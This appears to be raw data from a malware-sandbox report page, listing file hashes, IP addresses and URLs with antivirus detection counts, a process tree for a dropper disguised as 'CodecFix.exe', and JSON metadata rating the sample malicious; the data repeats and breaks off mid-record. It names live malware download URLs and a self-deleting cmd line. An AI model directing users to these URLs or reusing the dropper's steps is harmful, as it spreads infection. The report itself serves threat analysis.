(AV positives: 38/65 scanned on 05/13/2018 08:41:10), File SHA256: 022d1a963deebdc4ea739d0d4cc01828c5185750d13112155fbba46033271130 (AV positives: 40/66 scanned on 05/13/2018 07:25:58), File SHA256: 28bb62b0a90ee340339b85556795bca2268dbef4e95d8950731cd21cf5f06058 (AV positives: 40/66 scanned on 05/13/2018 07:10:06), File SHA256: 8dcbce427100923e7d123f5ef8679ff168b15685a59db7fb88f6bfd01f46e093 (Date: 05/13/2018 15:59:14), File SHA256: 368630276761dbf9397f5cb3af04086f27f7781abf96495a289305547ca0fb46 (Date: 05/13/2018 09:35:01), File SHA256: 0aef22facc8d20b73a51eec9110361fa17600738bc9193a389d60ec832f162a3 (Date: 05/12/2018 19:32:59), File SHA256: 91a0d28df03417b9f548ebfff5fcd4b2f212db0bda5e8a69960c6fffd9abe560 (Date: 05/12/2018 19:21:37), File SHA256: 096d84a636d76c383f6bca7786dab905301158c57c8884b0a8e04dfb7f624828 (Date: 05/11/2018 11:50:55), Found malicious artifacts related to "51.254.189.96": ..., URL: http://wemonetize.tk/ (AV positives: 6/67 scanned on 05/14/2018 03:17:25), URL: http://htagzdownload.pw/ (AV positives: 5/67 scanned on 05/13/2018 21:14:24), URL: http://support.microsoft2326bfrffmsc0547.com.s3-website.eu-central-1.cloudnewss.com/ (AV positives: 6/67 scanned on 05/09/2018 21:29:19), URL: http://texttotalk.org/Download/TextToTalk.exe (AV positives: 4/67 scanned on 05/09/2018 19:41:19), URL: http://fastfreedownload1.xyz/ (AV positives: 7/67 scanned on 05/08/2018 20:12:25), File SHA256: b26ded5e9c58ccea16aa0cc08878b86db0d4d52c597dc4c141a51db2f4a98e29 (AV positives: 4/66 scanned on 05/09/2018 19:41:23), File SHA256: 9b9224137f83c0aaac3ac5f4ebf2cfc88b83afd71c597fce263957399ee74f92 (AV positives: 4/66 scanned on 04/12/2018 15:09:18), File SHA256: 2bf0eb30d66776a3ece0855055d68b699bf2a8994c6d32e4c93a2be2f8405115 (AV positives: 6/67 scanned on 04/12/2018 15:07:53), File SHA256: f6f2691ed213cd1753dd24fc5ecfe72c401aaeb0c0cdccff0b07ec398b64b0d6 (AV positives: 2/65 scanned on 04/12/2018 14:48:45), File SHA256: 7379378169409d5a627aecf6f9332fc23c2a75e54cdba748f5622360d05bf994 (AV positives: 6/67 scanned on 04/12/2018 14:47:16), File SHA256: 2b473620fd385423ce7a285b065262b49c24de530ac56773049284646922f573 (Date: 11/27/2017 10:17:05), Found malicious artifacts related to "52.24.238.7": ..., URL: http://go.divx.com/pad/divxpro/divxpro2kxp.exe (AV positives: 1/67 scanned on 05/09/2018 23:20:38), File SHA256: 30715919b840dd83ce239c64650c835c916682a675a206b4b6167f1c3f8f6fd7 (Date: 05/10/2018 13:27:13), File SHA256: ec5a39682d987ed050cb84d7dc20cf94b18f66d8815f2b7e1b8144d3c848bcf8 (AV positives: 23/54 scanned on 05/06/2018 01:20:51), File SHA256: a73642532386f40b170b1f246e9d3be877442e5230a177e9ca92e619c5e59546 (AV positives: 8/63 scanned on 05/06/2018 00:35:00), File SHA256: 052fa8085e54287409b906d8d061bc242e199ab15fb0ca64c865b3413c2fca84 (AV positives: 5/66 scanned on 05/05/2018 08:34:01), File SHA256: 751703c3c377f669c659a46435ec5946aac5f1ff565051a8ee62c3cfe930f8db (AV positives: 14/66 scanned on 05/04/2018 23:29:54), File SHA256: b225283f8321fce7cbd212b524d5fb45c2a25d2c02655ca42a8a1b83288128f1 (AV positives: 5/65 scanned on 05/03/2018 05:39:11), Found malicious artifacts related to "188.121.36.239": ... URL: http://188.121.36.239/MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= (AV positives: 2/67 scanned on 04/02/2018 17:45:17) URL: http://188.121.36.239/ (AV positives: 1/67 scanned on 02/27/2018 00:05:01) URL: http://188.121.36.239/meiwqda+mdwwojajbgurdgmcgguabbqdi2+obkuxh93foruj4a7lar4rgwquopqfbxbnklbv9r0fqw4gwztad94caqc= (AV positives: 1/66 scanned on 12/12/2017 01:44:57) URL: http://188.121.36.239/MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc=/ (AV positives: 2/64 scanned on 09/18/2017 15:46:34) URL: http://188.121.36.239/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%203ahq1OMCAxvnFQ== (AV positives: 1/64 scanned on 04/08/2017 11:42:05) File SHA256: fed24167f1ed031a85e6415e83cd19b219cc28e05bff4043e72cc0ee913d1117 (Date: 05/13/2018 20:08:40) File SHA256: a9ac650b666e3b2c7813dba98d94a53fde8bcbe798a94d11ed4adfb460c4e9fc (Date: 05/13/2018 18:58:59) File SHA256: 2dff6f1e3c9bba03a7ce5f9e758455772d6e4e0c2ad4c912fb0692c8188cab7b (Date: 05/13/2018 18:39:40) File SHA256: 52d6b58c07929c599a66b65b80b972949ecf0efb709c33c115c234657b514da0 (Date: 05/13/2018 15:04:33) File SHA256: dfb5c81369ffdcc99a6063cbd881de70f362852fe958ecaba2ecc8abb136c5a0 (Date: 05/13/2018 14:33:15) File SHA256: 2b0e2b47a193b89729886685c190143bdb5f37be5e0378dc17fcc2e2244f7db9 (AV positives: 27/54 scanned on 07/01/2016 19:40:58)36:T3c9e,Found malicious artifacts related to "104.20.208.21": ... URL: http://pastebin.com/raw/PkyFTStD (AV positives: 1/67 scanned on 05/12/2018 06:04:35) URL: https://pastebin.com/raw/pxSE2TJ1 (AV positives: 3/67 scanned on 05/08/2018 18:32:01) URL: http://pastebin.com/raw/KpKVnhtN (AV positives: 2/67 scanned on 05/05/2018 15:37:42) URL: http://pastebin.com/raw.php?i=hYjPvgyB (AV positives: 1/67 scanned on 05/04/2018 19:19:24) URL: https://pastebin.com/raw/UsWX7nDH (AV positives: 2/67 scanned on 05/04/2018 09:48:02) File SHA256: 7aed9dac4ec3b7a86da8eff65032d67ee7fa2828ce7cf820c3c60efa9a107a07 (AV positives: 30/65 scanned on 05/13/2018 10:29:16) File SHA256: e02ea8a1db150d0915e947b8e7b67d7a5a304164f16a3c213722a23a4d51a70a (Date: 05/13/2018 16:15:09) File SHA256: 5c81f431d14110a0a949af0eebf3cb77e914bad220fd30b8020640a9df83df18 (Date: 05/13/2018 13:19:48) File SHA256: 96f0100da4036eccf6eaf5c9c6f6c7a9d1b950b4e8c86b4bc73d0fee7c8b2d69 (Date: 05/13/2018 13:13:19) File SHA256: 328c017281532cd9fe0a3669ca46e6908dd8eaeb394cfc153c087c7fa1d7e027 (Date: 05/13/2018 12:59:51) File SHA256: 25b8f569b8ff3c87b383f68dc4e65f082b7927f751fe13858195de2cd1836a36 (Date: 05/13/2018 12:56:30) File SHA256: ea71d6aafd099e18e4f99e056279e99f7cfa736deb84becff384856faee28f87 (AV positives: 12/69 scanned on 05/12/2018 00:05:33) File SHA256: 2161b9dfb2bafbc3f141257e797a1d07a643774f07430f4509d27e945e0b604e (AV positives: 1/70 scanned on 05/12/2018 23:51:50) File SHA256: 40cdadf5166bea1d799a3e01ccee519239224bf5c49566031e015b380ced92ab (AV positives: 7/65 scanned on 05/12/2018 07:47:57) File SHA256: 07d04cc712c4470aa909df1fd0fbd9511cade92c2574880d3a84f5e8b2933a0d (AV positives: 22/64 scanned on 05/12/2018 03:08:14) Found malicious artifacts related to "178.255.83.1": ... URL: http://ocsp.comodoca.com/mfiwudbomewwsjajbgurdgmcgguabbr64t7oomqqllqoy%C2%BEembuyzqokh6qqukk9qoprac9iq6hjwc99dtdoo2ucceqdcjv35s4c0keixvgtn/mnn (AV positives: 1/67 scanned on 05/09/2018 08:31:07) URL: http://ocsp.usertrust.com/mfiwudbomewwsjajbgurdgmcgguabbtnmnjmndqcqx8fcbwk16ehdims6qquu3m/wqorss9ugohym8cd8ridzssceqdd3t92z9egvqgvi+/vpn04 (AV positives: 1/67 scanned on 05/09/2018 08:31:07) URL: http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbr64t7oomqqllqoy%C2%BEembuyzqokh6qqukk9qoprac9iq6hjwc99dtdoo2ucceecz1mgwksr4wmqcjwqnxd03d (AV positives: 1/67 scanned on 05/09/2018 07:18:10) URL: http://ocsp.usertrust.com/mfewtzbnmeswstajbgurdgmcgguabbr8swzunkvbro5ijhat9gv793rvlaqurb2yejs0jvf6xczu7wo94ctlvbocecdm7lbrsfooq9dwovye3ii3d (AV positives: 1/67 scanned on 05/09/2018 05:58:47) URL: http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbr64t7oomqqllqoy%C2%BEembuyzqokh6qqukk9qoprac9iq6hjwc99dtdoo2ucceevist4rgypnlzafgjnu5xm3d (AV positives: 1/67 scanned on 05/09/2018 05:58:44) File SHA256: 7ac94992cabcf13a0d9b77ada410e190ea99fd815e1e7925fa3e616a47f0bc1f (Date: 05/13/2018 23:57:01) File SHA256: 4b5ce7c67c4eda1bae94b5079b4dc4ada369631b3d0a2163c285d47fc78ca36d (Date: 05/13/2018 21:58:24) File SHA256: 66e7880c070e3dd24a0c8b232f6373f48761d43b7a066ff040b9d21d8a6f4e31 (Date: 05/13/2018 21:53:42) File SHA256: 1c92bce498906374e93e29f67171b39245db2bf6ebaeb6b5ba7821a9b349d494 (Date: 05/13/2018 20:48:24) File SHA256: 5f3215882bf24fcc31519b40fe8995caa6bdd6001d50b39d0a9ddf2dcf7b4bf3 (Date: 05/13/2018 20:05:56) File SHA256: 7e960c4fb3c372168c27b6fdae5e519d3c9b7a743a539fae6114f93dab9e6631 (AV positives: 20/70 scanned on 05/08/2018 00:18:33) File SHA256: 5631f1938bb343a3ce0bf605a6647c50ec91ae247178dab9e645e2d4e449f739 (AV positives: 1/70 scanned on 04/15/2018 07:23:16) File SHA256: e240e4690f28ab95a5590d922c3f6627255ce5caf17ecfd3921d9b4239f49bc5 (AV positives: 1/68 scanned on 04/14/2018 00:51:10) File SHA256: 4ce4a87fe195042952b1958365ce9912c20633797aa75ae7b7e3042beda69b15 (AV positives: 50/67 scanned on 04/11/2018 14:08:21) File SHA256: 408148afa8338b545e68857738478e921233f892f3a1ee6f2e9b548ddfa791ca (AV positives: 16/70 scanned on 04/01/2018 13:06:16) Found malicious artifacts related to "2.18.212.33": ... File SHA256: 068432d03e438b01a55e18a9490855ffba66b4004dacb5616d04ac2e8b76e6fd (AV positives: 27/62 scanned on 04/01/2017 09:31:04) File SHA256: 3af4c4bf41f51be7965badaab8cbf86f05f0eaabbee42a698776ec2c7a0fa1ce (AV positives: 47/56 scanned on 06/13/2016 15:51:30) File SHA256: faf472fc835dc1c37d2d0537c013a12b6d0482b04ec22eae963fa462a96e9ef6 (AV positives: 47/56 scanned on 06/13/2016 15:16:49) File SHA256: 087fbda78eaf47df8bc79fd396a4e19992df017c6f7cc8d3be663eda1d7edf4c (AV positives: 14/56 scanned on 06/13/2016 15:02:57) File SHA256: ca1b4ada890f126c8c6d5c6d487f667eb02d95bac9a71dd8ac1e57af232e81a0 (AV positives: 9/27 scanned on 06/13/2016 14:34:57) File SHA256: 784c3abb696c0b192549074427e341028c3c1de7c730624cdd1b16c7b6c73c39 (Date: 06/13/2016 17:43:59) Found malicious artifacts related to "5.39.224.140": ... URL: https://megadl.fr/ (AV positives: 3/67 scanned on 05/13/2018 11:15:11) URL: https://pjointe.com/?8ib0vlpjjy (AV positives: 2/67 scanned on 05/09/2018 21:46:56) URL: https://mesfichiers.org/?imbuumgk4j" (AV positives: 2/67 scanned on 05/09/2018 14:05:01), URL: http://mesfichiers.org/ (AV positives: 2/67 scanned on 05/08/2018 20:02:46), URL: https://mesfichiers.org/?imbuumgk4j (AV positives: 2/67 scanned on 05/08/2018 19:06:42), File SHA256: cb5197b02905aa5d275b2e5b40e9c1d30e70b2308ebde3782b65cc94b78b04b2 (AV positives: 12/71 scanned on 03/04/2018 17:41:35), File SHA256: 3534082aa2bbbb86488bf532153c8708f359d52ea2e30efc23156be0fbc296b5 (AV positives: 34/68 scanned on 02/17/2018 01:17:49), File SHA256: c862aa4d55fba8317afb063e8ae870ddd07668ee682f86b8984165f89e568f8b (AV positives: 3/66 scanned on 01/11/2018 21:12:04), File SHA256: 14cf32ac498abc21ce8eeb626d08d6d2a205562caefa667fc74061debb89a2c6 (AV positives: 3/68 scanned on 12/25/2017 09:39:03), File SHA256: 1be45d77ade7099c8d089c9e28a6e089ef1bc88f339759035eff98ef2226ce45 (Date: 12/16/2017 09:51:19), File SHA256: 55b49cff69a561d64a0a741d92aa1c3d78c207c411ca459cf4f883e677a951e0 (AV positives: 27/67 scanned on 12/12/2017 22:04:44), File SHA256: 294b6c157c853b845be11dfd928999aa5ce044425289b8dad0dcc149560051a6 (Date: 11/29/2017 12:52:42), File SHA256: 063b75ebdd1ef12e4cadf226e16ba4b0c9e5e88d968ed367e0b56a891717e9b5 (Date: 11/04/2017 02:51:37), File SHA256: f8e6a6972c4e9865f64f9a7781083469c4cdaea8feca31c6fe3e0fa0165b762f (Date: 11/04/2017 02:33:03), File SHA256: d62da45482ce2c3bc1f3121ac256f595a0093bad8dd083d98065e782f788b81c (Date: 11/02/2017 09:33:21), Found malicious artifacts related to "52.85.177.49": ..., File SHA256: 54c1b60288b8d97e93a6a9f4736f99535fab895d5870723fe692072eb47f5644 (Date: 05/14/2018 01:45:24), File SHA256: 3a700655a06aef03d38701217699315899d7ed8cb3bc932f4829918f8b0fdca9 (Date: 05/13/2018 15:56:45), File SHA256: 05662973177b032ae36e576e4b234b65009ff415515866a4f218652f15b21006 (Date: 05/13/2018 12:38:11), File SHA256: 7baa555709716e718a0607bb21847ca61ee171b9d6d59c01f3d2184074c2e7b5 (Date: 05/13/2018 02:16:24), File SHA256: 362978317de9a2f06c42bca4dfb0c542b4c45b0175094290b49ed0899b2b1ca0 (Date: 05/11/2018 03:14:24), File SHA256: 8eb5aac98dfde989fc8e7fce8df467f792cc996f729a53f3c290af404f31e9d6 (AV positives: 41/66 scanned on 05/06/2018 21:19:51), File SHA256: 292e1f3e166af7415ec2d42dc34f2bfec4806c813236a2c815a2c103b9b4c8c0 (AV positives: 20/67 scanned on 05/06/2018 08:36:42), File SHA256: 9547406548faddcb01fb36a2cc3bdfc80cbe0bb7e61d2321abed8b7457173493 (AV positives: 20/66 scanned on 05/06/2018 08:20:56), File SHA256: 4837c54d5200c6b5ae8399e812b548e153adbd3263e6c4ff29ae40ba3fbd9407 (AV positives: 20/66 scanned on 05/06/2018 08:08:52), File SHA256: ae9698f5eeb54efab2548e19a08d7c294863122a2f8e2eed9d4a5cbf1ba30bcd (AV positives: 2/71 scanned on 05/01/2018 23:36:09), Found malicious artifacts related to "149.202.87.154": ..., URL: http://downloadtexttotalk.com/KL3CUYDWUF/YX5CJUR3EX/JFK0027.EXE (AV positives: 11/67 scanned on 05/14/2018 04:15:04), URL: http://geteasyfile.com/Screen/Recorder (AV positives: 6/67 scanned on 05/14/2018 03:38:28), URL: http://downloadtexttotalk.com/kL3CuYDWuF/Yx5cJur3eX/jfk0021.exe (AV positives: 12/67 scanned on 05/14/2018 02:56:49), URL: http://downloadtexttotalk.com/kL3CuYDWuF/Yx5cJur3eX/jfk0023.exe (AV positives: 11/67 scanned on 05/14/2018 01:50:05), URL: http://downloadtexttotalk.com/ (AV positives: 6/67 scanned on 05/13/2018 21:14:21), File SHA256: e8fbb1ff340703cf686644f89f093f9c618a90cc43d615958b541f5889f296a0 (AV positives: 49/66 scanned on 05/14/2018 04:15:24), File SHA256: 9a8c700aab5ecf41b05dcdaba1fc6c51c0531adac3519d4ab18cfa2789dc8f85 (AV positives: 27/64 scanned on 05/14/2018 02:56:53), File SHA256: 3f21bce9b553f42a954888a1d32e06143f10494c14e8eff2419f9a1ef7d41778 (AV positives: 51/66 scanned on 05/14/2018 01:50:06), File SHA256: 09524a50c0e188fdf9f9dcd1632f794559907788b46c7bb7f2f89dc86d9eae52 (AV positives: 30/66 scanned on 05/13/2018 22:01:24), File SHA256: eb03e887a358843a9095ee3b2d401addcc8bdfe62cc583b1a0fddb32ec6969ee (AV positives: 31/66 scanned on 05/12/2018 20:22:30), File SHA256: 460d6a7e82a07d2e3a99fcbf435fe743682306fafd967124980072e0c73d63d0 (Date: 05/12/2018 14:12:06), File SHA256: 38becbb45f951c884630eecc4cd4512d17cebbd2d28e1c537d015623d4d4ba2c (Date: 05/12/2018 14:11:37), File SHA256: 65035f8d051d6bf4625362127ac647e62b31caf85e495fd4f4218a7504ec4a56 (Date: 04/07/2018 14:19:21), File SHA256: 9d6cda0228f333ccad29e3ea8324c42edc1e457d74992cb74937ace7f02e1d33 (Date: 04/02/2018 10:37:30), File SHA256: 8b0cdbcc3288972239b0ca611e378a199ab12b14aa20ac5b6e50cad2c28aca80 (Date: 04/02/2018 10:29:34), Found malicious artifacts related to "104.28.9.192": ..., URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=61d2c50e29b4e53e523ead1959c6e0cf&token=736721833d8b3be0e459762508b46ab3 (AV positives: 7/67 scanned on 05/14/2018 07:12:51), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=ef92b58a77b9cc43d9996d08d647a9f2&token=4bf3f5db30e030485e493e951d510e19 (AV positives: 7/67 scanned on 05/14/2018 07:12:45), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=d048560b9a35627322737c28c0d1a509&token=ebeda00923edbd529b8579c9eca8e3e2 (AV positives: 7/67 scanned on 05/14/2018 07:12:20), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=293a4804be3e35f419a128beb065c738&token=6451cd0c0443647bd53c77f344ccaf13 (AV positives: 7/67 scanned on 05/14/2018 07:11:23), URL: http://api-ocean.info/request/conditions?user=luxsoft&ver=10&key=b77e15bcde7d39bbc525ce08c5d36e1a&token=88cef5e75a208ff217a2f672e0ca6dd6 (AV positives: 7/67 scanned on 05/14/2018 07:08:42), File SHA256: 41aa78a40e0946eeb2e57f92297288d7208d21ddffca2db890064578d4b5224e (AV positives: 37/66 scanned on 05/14/2018 03:03:09), File SHA256: 4fecf2ab63c47276f8aef32a08738d448a01a8786d27a48adefb52649ad5120d (AV positives: 39/66 scanned on 05/13/2018 18:06:32), File SHA256: 6673392aa171aabb26c01f4a343963c87b4fdd028f65beeb96d81ba0930d80f4 (AV positives: 38/65 scanned on 05/13/2018 08:41:10), File SHA256: 022d1a963deebdc4ea739d0d4cc01828c5185750d13112155fbba46033271130 (AV positives: 40/66 scanned on 05/13/2018 07:25:58), File SHA256: 28bb62b0a90ee340339b85556795bca2268dbef4e95d8950731cd21cf5f06058 (AV positives: 40/66 scanned on 05/13/2018 07:10:06), File SHA256: 8dcbce427100923e7d123f5ef8679ff168b15685a59db7fb88f6bfd01f46e093 (Date: 05/13/2018 15:59:14), File SHA256: 368630276761dbf9397f5cb3af04086f27f7781abf96495a289305547ca0fb46 (Date: 05/13/2018 09:35:01), File SHA256: 0aef22facc8d20b73a51eec9110361fa17600738bc9193a389d60ec832f162a3 (Date: 05/12/2018 19:32:59), File SHA256: 91a0d28df03417b9f548ebfff5fcd4b2f212db0bda5e8a69960c6fffd9abe560 (Date: 05/12/2018 19:21:37), File SHA256: 096d84a636d76c383f6bca7786dab905301158c57c8884b0a8e04dfb7f624828 (Date: 05/11/2018 11:50:55), Found malicious artifacts related to "51.254.189.96": ..., URL: http://wemonetize.tk/ (AV positives: 6/67 scanned on 05/14/2018 03:17:25), URL: http://htagzdownload.pw/ (AV positives: 5/67 scanned on 05/13/2018 21:14:24), URL: http://support.microsoft2326bfrffmsc0547.com.s3-website.eu-central-1.cloudnewss.com/ (AV positives: 6/67 scanned on 05/09/2018 21:29:19), URL: http://texttotalk.org/Download/TextToTalk.exe (AV positives: 4/67 scanned on 05/09/2018 19:41:19), URL: http://fastfreedownload1.xyz/ (AV positives: 7/67 scanned on 05/08/2018 20:12:25), File SHA256: b26ded5e9c58ccea16aa0cc08878b86db0d4d52c597dc4c141a51db2f4a98e29 (AV positives: 4/66 scanned on 05/09/2018 19:41:23), File SHA256: 9b9224137f83c0aaac3ac5f4ebf2cfc88b83afd71c597fce263957399ee74f92 (AV positives: 4/66 scanned on 04/12/2018 15:09:18), File SHA256: 2bf0eb30d66776a3ece0855055d68b699bf2a8994c6d32e4c93a2be2f8405115 (AV positives: 6/67 scanned on 04/12/2018 15:07:53), File SHA256: f6f2691ed213cd1753dd24fc5ecfe72c401aaeb0c0cdccff0b07ec398b64b0d6 (AV positives: 2/65 scanned on 04/12/2018 14:48:45), File SHA256: 7379378169409d5a627aecf6f9332fc23c2a75e54cdba748f5622360d05bf994 (AV positives: 6/67 scanned on 04/12/2018 14:47:16), File SHA256: 2b473620fd385423ce7a285b065262b49c24de530ac56773049284646922f573 (Date: 11/27/2017 10:17:05), Found malicious artifacts related to "52.24.238.7": ..., URL: http://go.divx.com/pad/divxpro/divxpro2kxp.exe (AV positives: 1/67 scanned on 05/09/2018 23:20:38), File SHA256: 30715919b840dd83ce239c64650c835c916682a675a206b4b6167f1c3f8f6fd7 (Date: 05/10/2018 13:27:13), File SHA256: ec5a39682d987ed050cb84d7dc20cf94b18f66d8815f2b7e1b8144d3c848bcf8 (AV positives: 23/54 scanned on 05/06/2018 01:20:51), File SHA256: a73642532386f40b170b1f246e9d3be877442e5230a177e9ca92e619c5e59546 (AV positives: 8/63 scanned on 05/06/2018 00:35:00), File SHA256: 052fa8085e54287409b906d8d061bc242e199ab15fb0ca64c865b3413c2fca84 (AV positives: 5/66 scanned on 05/05/2018 08:34:01), File SHA256: 751703c3c377f669c659a46435ec5946aac5f1ff565051a8ee62c3cfe930f8db (AV positives: 14/66 scanned on 05/04/2018 23:29:54), File SHA256: b225283f8321fce7cbd212b524d5fb45c2a25d2c02655ca42a8a1b83288128f1 (AV positives: 5/65 scanned on 05/03/2018 05:39:11), Found malicious artifacts related to "188.121.36.239": ... URL: http://188.121.36.239/MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= (AV positives: 2/67 scanned on 04/02/2018 17:45:17) URL: http://188.121.36.239/ (AV positives: 1/67 scanned on 02/27/2018 00:05:01) URL: http://188.121.36.239/meiwqda+mdwwojajbgurdgmcgguabbqdi2+obkuxh93foruj4a7lar4rgwquopqfbxbnklbv9r0fqw4gwztad94caqc= (AV positives: 1/66 scanned on 12/12/2017 01:44:57) URL: http://188.121.36.239/MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc=/ (AV positives: 2/64 scanned on 09/18/2017 15:46:34) URL: http://188.121.36.239/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%203ahq1OMCAxvnFQ== (AV positives: 1/64 scanned on 04/08/2017 11:42:05) File SHA256: fed24167f1ed031a85e6415e83cd19b219cc28e05bff4043e72cc0ee913d1117 (Date: 05/13/2018 20:08:40) File SHA256: a9ac650b666e3b2c7813dba98d94a53fde8bcbe798a94d11ed4adfb460c4e9fc (Date: 05/13/2018 18:58:59) File SHA256: 2dff6f1e3c9bba03a7ce5f9e758455772d6e4e0c2ad4c912fb0692c8188cab7b (Date: 05/13/2018 18:39:40) File SHA256: 52d6b58c07929c599a66b65b80b972949ecf0efb709c33c115c234657b514da0 (Date: 05/13/2018 15:04:33) File SHA256: dfb5c81369ffdcc99a6063cbd881de70f362852fe958ecaba2ecc8abb136c5a0 (Date: 05/13/2018 14:33:15) File SHA256: 2b0e2b47a193b89729886685c190143bdb5f37be5e0378dc17fcc2e2244f7db9 (AV positives: 27/54 scanned on 07/01/2016 19:40:58)37:T5a0,Spawned process "" (UID: 00011746-00003100) Spawned process "irsetup.exe" with commandline "__IRAOFF:1742194 "__IRAFN:C:\CodecFix.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001"" (UID: 00012485-00003776) Spawned process "gimi.exe" (UID: 00013136-00003444) Spawned process "irsetup.exe" with commandline "__IRAOFF:1742194 "__IRAFN:%TEMP%\gimi.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001"" (UID: 00014097-00002740) Spawned process "salllbu.exe" (UID: 00015781-00003096) Spawned process "irsetup.exe" with commandline "__IRAOFF:1741682 "__IRAFN:%TEMP%\salllbu.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001"" (UID: 00016492-00003864) Spawned process "capi.exe" (UID: 00017211-00000948) Spawned process "MediaPlay.exe" (UID: 00017415-00004060) Spawned process "faket.exe" (UID: 00020452-00002076) Spawned process "cubesta.exe" (UID: 00020477-00003740) Spawned process "XVD.exe" (UID: 00020547-00004776) Spawned process "faket.tmp" with commandline "/SL5="$A03A0 337404 254464 %TEMP%\faket.exe"" (UID: 00021846-00001912) Spawned process "jfk0021.exe" with commandline "/VS /CID=15150" (UID: 00023622-00004884) Spawned process "cmd.exe" with commandline "/C timeout 3 > Nul & Del "%TEMP%\XVD.exe"" (UID: 00025624-00000808) Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00025654-00002040)38:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAAAAAAAAAAAAd3d3d3eP//iHAAAAAAAAeIiIh3eP/////3AAAAAAeP/4iHd4///////4AAAAAHj//4d3iP///////3AAAAAHiP//iIiP//////+HAAAAAHiI/4iIiP/////4hwAAAAAACP+IiIj/iI/4iIgAAAAAAAf4iIiI+AB4+IiIAAAHh3d3d4iIj/cAB/iIiHAACIiIiIiIiIj3d3j4iIhwAHiIiIiIiIiI+HeI+IiIAAB4iIiIiIiI//////iIiAAAeIdmZmZ4////////iIcAAHiHZmZmaP///////4iAAACIh2Znd3eP///////4cAAAj4dnd3d3iP//////hwAAAI+Hd3d3d3eI////iFAAAACPh3d4iIiIeIiIiHcAAAAHj4d4iIiIiIh3d3hwAAAACI+HiIiIiIiIh3d4cAAAAAiPiIiIiIiIiIh3eHAAAAAIj4iIiIiIiIiId4hwAAAACI+IiIiIiIiIiIeIcAAAAAiPiIiIiIiIiIiHiHAAAAAIiIiIiIiIiIiIiIhwAAAACPiIiIiIiIiIiIiIcAAAAAj4iIiIiIiIiIh3iHAAAAAI+Hd3d3d3d3d3d4hwAAAAD4+IiIiIiIiIiIiHcAAAAAeIiIiIiIiHd3d3dwAAAAD/AAAf/AAAD/AAAAPwAAAD8AAAAfAAAADwAAAA+AAAAOAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAABwAAAA8AAAAPAAAAPwAAAD4AAAA+AAAAPgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAA/gAAAPw==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790481460998,"unified_at":"2026-09-27T03:57:40.998Z","metadata":{"hashes":{"sha256":"45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4","sha1":"f103271f12479c73494397e6bb28411d27b8706f","md5":"ab4302481f294295635a7e47fa10cd84","sha512":"c4cdf737878b2103eabbbeb5f8d463d6e7656ea73c728cdf328e5cf896bc066f1c9420eb5264ee7b735229ffca0470788b7582d5ace8f20ac2c1c1eb1e63f26e","ssdeep":"98304:O06FOznLo0+Dd6uxcnh1wFjsaPL/Ns6v/uPcy:O3F6n80W6uGh1wHPRs6vs","ssdeep_chunks":["98304:O06FOzn","98304:06FOznL","98304:6FOznLo","98304:FOznLo0","98304:OznLo0+","98304:znLo0+D","98304:nLo0+Dd","98304:Lo0+Dd6","98304:o0+Dd6u","98304:0+Dd6ux","98304:+Dd6uxc","98304:Dd6uxcn","98304:d6uxcnh","98304:6uxcnh1","98304:uxcnh1w","98304:xcnh1wF","98304:cnh1wFj","98304:nh1wFjs","98304:h1wFjsa","98304:1wFjsaP","98304:wFjsaPL","98304:FjsaPL/","98304:jsaPL/N","98304:saPL/Ns","98304:aPL/Ns6","98304:PL/Ns6v","98304:L/Ns6v/","98304:/Ns6v/u","98304:Ns6v/uP","98304:s6v/uPc","98304:6v/uPcy","196608:O06FOzn","196608:06FOznL","196608:6FOznLo","196608:FOznLo0","196608:OznLo0+","196608:znLo0+D","196608:nLo0+Dd","196608:Lo0+Dd6","196608:o0+Dd6u","196608:0+Dd6ux","196608:+Dd6uxc","196608:Dd6uxcn","196608:d6uxcnh","196608:6uxcnh1","196608:uxcnh1w","196608:xcnh1wF","196608:cnh1wFj","196608:nh1wFjs","196608:h1wFjsa","196608:1wFjsaP","196608:wFjsaPL","196608:Fj